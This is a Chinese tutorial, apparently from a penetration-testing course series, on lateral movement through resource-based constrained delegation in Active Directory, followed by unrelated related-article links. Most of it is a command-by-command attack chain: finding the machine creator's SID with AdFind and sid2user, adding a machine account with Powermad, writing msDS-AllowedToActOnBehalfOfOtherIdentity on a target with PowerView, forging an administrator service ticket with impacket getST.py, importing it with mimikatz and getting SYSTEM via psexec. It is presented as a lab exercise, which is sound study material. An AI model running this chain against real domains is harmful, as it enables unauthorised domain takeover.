第136天:内网安全-横向移动资源约束委派

2024-08-27 11:12

本文主要是介绍第136天:内网安全-横向移动资源约束委派,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

利用条件

首先是dc域控主机必须是win2012以上的主机

其次是域内有一个账户,可以同时登录两台主机

利用  jie 可以登录  win2008  也可以登录  win7

资源委派不需要设置委派,默认即可

实验复现

复现环境

通过网盘分享的文件:136-xiaodi.local内网域环境镜像文件
链接: https://pan.baidu.com/s/1H3ypkEoTiJMbwfMxJ7JMCA?pwd=wnra 提取码: wnra

这里在本地复现,cs中操作时一致的

使用adfind工具查询域内是否有SID一致的主机,并获取主机名

AdFind.exe -h DC的ip -b "DC=域,DC=控" -f "objectClass=computer" mS-DS-CreatorSID
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID

 要利用资源委派就得知道这个用户是谁,根据这个sid,利用工具sid2user.exe去查询用户名,需要删除sid的s-1以及后面的所有横杠

sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104

 

那么如果你拿到的就是dbadmin用户,就可以利用该账户从web渗透到dc,没拿到就得想办法去获取这个用户

利用这个工具去执行下面的攻击

https://gitcode.com/gh_mirrors/po/Powermad/overview?utm_source=csdn_github_accelerator&isLogin=1

添加机器

Set-ExecutionPolicy Bypass -Scope Process   ##设置允许执行脚本
import-module .\Powermad.ps1             ##导入模块
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) ##创建一个用户为test1的,然后密码是123456

执行完成以后域控内有一个test1主机

获取新主机的sid值

Set-ExecutionPolicy Bypass -Scope Process 
Import-Module .\PowerView.ps1
Get-NetComputer test1 -Properties objectsid

 修改目标主机的属性

Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1602)"   ##(刚才获得的sid值)
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose  ##(DATA是攻击的目标主机)

检验是否配置成功

Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity 

 

这个时候就可以生成票据去执行后续操作了,由于需要用到python程序,所以这里我还是用cs上线生成sockets代理

利用impack套件里面的getst.py获得票据,这里生成票据的时候不管你是再本地还是在代理都要记得设置hosts文件,否则无效

proxychains4 python getST.py -dc-ip 192.168.3.33 xiaodi.local/test1\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

生成了一个票据,上传到服务器,利用mimikatz导入票据

mimikatz kerberos::ptc administrator.ccache

再访问

提升权限

python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass   ##可提升为system权限。

这篇关于第136天:内网安全-横向移动资源约束委派的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1111503

相关文章

JAVA保证HashMap线程安全的几种方式

《JAVA保证HashMap线程安全的几种方式》HashMap是线程不安全的,这意味着如果多个线程并发地访问和修改同一个HashMap实例,可能会导致数据不一致和其他线程安全问题,本文主要介绍了JAV... 目录1. 使用 Collections.synchronizedMap2. 使用 Concurren

C# Where 泛型约束的实现

《C#Where泛型约束的实现》本文主要介绍了C#Where泛型约束的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录使用的对象约束分类where T : structwhere T : classwhere T : ne

SpringValidation数据校验之约束注解与分组校验方式

《SpringValidation数据校验之约束注解与分组校验方式》本文将深入探讨SpringValidation的核心功能,帮助开发者掌握约束注解的使用技巧和分组校验的高级应用,从而构建更加健壮和可... 目录引言一、Spring Validation基础架构1.1 jsR-380标准与Spring整合1

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

Qt把文件夹从A移动到B的实现示例

《Qt把文件夹从A移动到B的实现示例》本文主要介绍了Qt把文件夹从A移动到B的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录如何移动一个文件? 如何移动文件夹(包含里面的全部内容):如何删除文件夹:QT 文件复制,移动(

Rust中的Drop特性之解读自动化资源清理的魔法

《Rust中的Drop特性之解读自动化资源清理的魔法》Rust通过Drop特性实现了自动清理机制,确保资源在对象超出作用域时自动释放,避免了手动管理资源时可能出现的内存泄漏或双重释放问题,智能指针如B... 目录自动清理机制:Rust 的析构函数提前释放资源:std::mem::drop android的妙

Python重命名文件并移动到对应文件夹

《Python重命名文件并移动到对应文件夹》在日常的文件管理和处理过程中,我们可能会遇到需要将文件整理到不同文件夹中的需求,下面我们就来看看如何使用Python实现重命名文件并移动到对应文件夹吧... 目录检查并删除空文件夹1. 基本需求2. 实现代码解析3. 代码解释4. 代码执行结果5. 总结方法补充在

解读静态资源访问static-locations和static-path-pattern

《解读静态资源访问static-locations和static-path-pattern》本文主要介绍了SpringBoot中静态资源的配置和访问方式,包括静态资源的默认前缀、默认地址、目录结构、访... 目录静态资源访问static-locations和static-path-pattern静态资源配置

浅析Rust多线程中如何安全的使用变量

《浅析Rust多线程中如何安全的使用变量》这篇文章主要为大家详细介绍了Rust如何在线程的闭包中安全的使用变量,包括共享变量和修改变量,文中的示例代码讲解详细,有需要的小伙伴可以参考下... 目录1. 向线程传递变量2. 多线程共享变量引用3. 多线程中修改变量4. 总结在Rust语言中,一个既引人入胜又可